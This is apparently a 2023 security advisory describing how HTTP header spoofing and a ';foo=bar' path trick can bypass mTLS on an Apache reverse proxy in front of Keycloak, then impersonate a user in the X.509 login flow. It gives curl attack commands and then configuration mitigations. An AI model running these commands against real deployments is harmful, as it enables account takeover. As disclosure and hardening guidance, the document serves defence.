Keycloak behind reverse proxy with mTLS for X.509 login flow. Possible vulnerability to bypass or spoof the X.509 credentials

Smuggling HTTP headers through reverse proxies as vulnerability to spoof the Keycloak X.509 login flow.
Is that possible?

Keycloak’s guideline for using reverse proxy as TLS termination implies that it’s already highly secured with edge proxy mode because of

This mode is suitable for deployments with a highly secure internal network where the reverse proxy....

Yes, our internal network is highly secured with several DMZ, local firewalls, intrusion detection systems, blah blah blah.

My attack scenario:
I do not have the p12 keystore with its private key for successful mTLS handshake in reverse proxy! No chance to overcome the client certificate check!

With social engineering means I got the public certificate from my victim, because the public part is not dangerous? Or is it?

Basics why it will work

Based on research found at Telekom Security I’m using this flaw of smuggling HTTP headers through reverse proxies.

It’s actually just the configuration documentation or rather the correct documentation of hardening why this flaw is possible.
Just in case of a reverse proxy in front we may have an issue which leads to the possible bypass and Keycloak X.509 login spoof!

Maybe the Keycloak team will take up my suggestion to point out the vulnerability more explicitly here and how to prevent it as simple configuration task.

Initial - a common default setup is our flaw

My setup is simply default due to example documentation found on internet for its configuration.
In my case Keycloak is serving several realms and one needs to be protected by mTLS in reverse proxy and a Keycloak X.509 login flow behind.

In Keycloak’s reverse proxy configuration page, the common default http header SSL_CLIENT_CERT is used as example:

bin/kc.[sh|bat] start --spi-x509cert-lookup-<provider>-ssl-client-cert=SSL_CLIENT_CERT \
  --spi-x509cert-lookup-apache-ssl-cert-chain-prefix=CERT_CHAIN

Same at Red Hat SSO 7.6 administration guide for legacy Wildfly based Keycloak

<property name="sslClientCert" value="SSL_CLIENT_CERT"/>
<property name="sslCertChainPrefix" value="CERT_CHAIN"/>

Most people will use such examples in production.

My apache httpd setup is using a common LocationMatch /auth for all realms and they endpoints.
One realm has mTLS Client authentication enabled in apache reverse proxy for the /auth/realms/{realmname}/protocol/openid-connect/auth endpoint only and will set the SSL_CLIENT_CERT Header.

Why mTLS for /auth/realms/{realmname}/protocol/openid-connect/auth only?
If the whole realm /auth/realms/realmname would be mTLS protected, we would need in our applications a machine certificate to overcome the mTLS handshake too.

Apache httpd.conf

ProxyPass “/auth/” “http://keycloakserver:8080/auth”
ProxyPassReverse “/auth” “http://keycloakserver:8080/auth”

<LocationMatch “/auth/realms/realmname/protocol/openid-connect/auth”> 
    SSLVerifyClient require
    SSLOptions +ExportCertData +StrictRequire
    SSLVerifyDeth 3

    RequestHeader set SSL_CLIENT_CERT "%{SSL_CLIENT_CERT}s"
    RequestHeader set CERT_CHAIN_0 "%{SSL_CLIENT_CERT_CHAIN_0}s"

    Header set Cache-Control …
</LocationMatch>

<LocationMatch “/auth”>
    Header set Cache-Control …
</LocationMatch>

The attack chain

  1. Obtain the public certificate from victim
    or in worst case if certificate revalidation is not activated in Keycloak X.509 flow create any ordinary self signed certificate that spoofs the user account.

  2. Obtain valid oid /auth endpoint url by calling the webservice which will redirect us to Keycloak oid /auth endpoint 
    curl --path-as-is 'https://mydomain/'
  3. Inject the public certificate as HTTP header and bypass the location match by inserting ;foo=bar into the oid /auth endpoint 
    curl --path-as-is 'https://mydomain/auth/realms/realmname/protocol/openid-connect;foo=bar/auth ' \
 -H 'SSL_CLIENT_CERT: -----BEGIN CERTIFICATE----- PEM Base64 encoded certificate -----END CERTIFICATE-----'

Jackpot! :-)
In case of apache as reverse proxy I got it. I did not check with nginx, but I belive it could be possible, too according to research at Telekom Security.
Hello container image world, your ingress is just a nginx… ;-)

Mitigations?

First, my explicit advice that out of the common header names should be used.
And those mitigations and they combination should be done.

  1. Usage of out of the common header names, hard to guess

In reverse proxy

RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT "%{SSL_CLIENT_CERT}s"
RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT_CHAIN_0 "%{SSL_CLIENT_CERT_CHAIN_0}s"

In Keycloak

bin/kc.[sh|bat] start --spi-x509cert-lookup-apache-ssl-client-cert=SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT \
  --spi-x509cert-lookup-apache-ssl-cert-chain-prefix=SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT_CHAIN
  1. The apache configuration should contain an initial set header empty value or unset header 
    # initialize the special headers to be blank for all other LocationMatch as common place to avoid http header forgeries
RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT ""
RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT_CHAIN_0 ""

  2. Mandatory usage of trust store and certificate chain revalidation in Keycloak, otherwise a self-signed certificate with spoofed login data is usable. That’s the worst case.

  3. CRL check in Keycloak, too. Revoked certificates should be declined in Keycloak, too. Not only at reverse proxy at mTLS handshake.

My final mitigation setup

In Keycloak

bin/kc.[sh|bat] start --spi-x509cert-lookup-apache-ssl-client-cert=SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT \
  --spi-x509cert-lookup-apache-ssl-cert-chain-prefix=SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT_CHAIN

Apache httpd.conf

ProxyPass http://keycloakserver:8080/auth
ProxyPassReverse  http://keycloakserver:8080/auth

<LocationMatch “/auth/realms/realmname/protocol/openid-connect/auth”> 
    SSLVerifyClient require
    SSLOptions +ExportCertData +StrictRequire
    SSLVerifyDeth 3

    # Usage of out of the common header names
    RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT "%{SSL_CLIENT_CERT}s"
    RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT_CHAIN_0 "%{SSL_CLIENT_CERT_CHAIN_0}s"

    Header set Cache-Control …
</LocationMatch>

<LocationMatch /auth>
    # initialize/override the special headers to be blank
    RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT ""
    RequestHeader set SECRET_HEADER_NAME_FOR_SSL_CLIENT_CERT_CHAIN_0 ""

    Header set Cache-Control …
</LocationMatch>

Is it enough at <LocationMatch /auth> or better global? ;-)
What about that URL bypass?
https://mydomain/;foo=bar/auth/realms/realmname/protocol/openid-connect/auth

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2023 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on February 6, 2023 | Last modified on February 15, 2023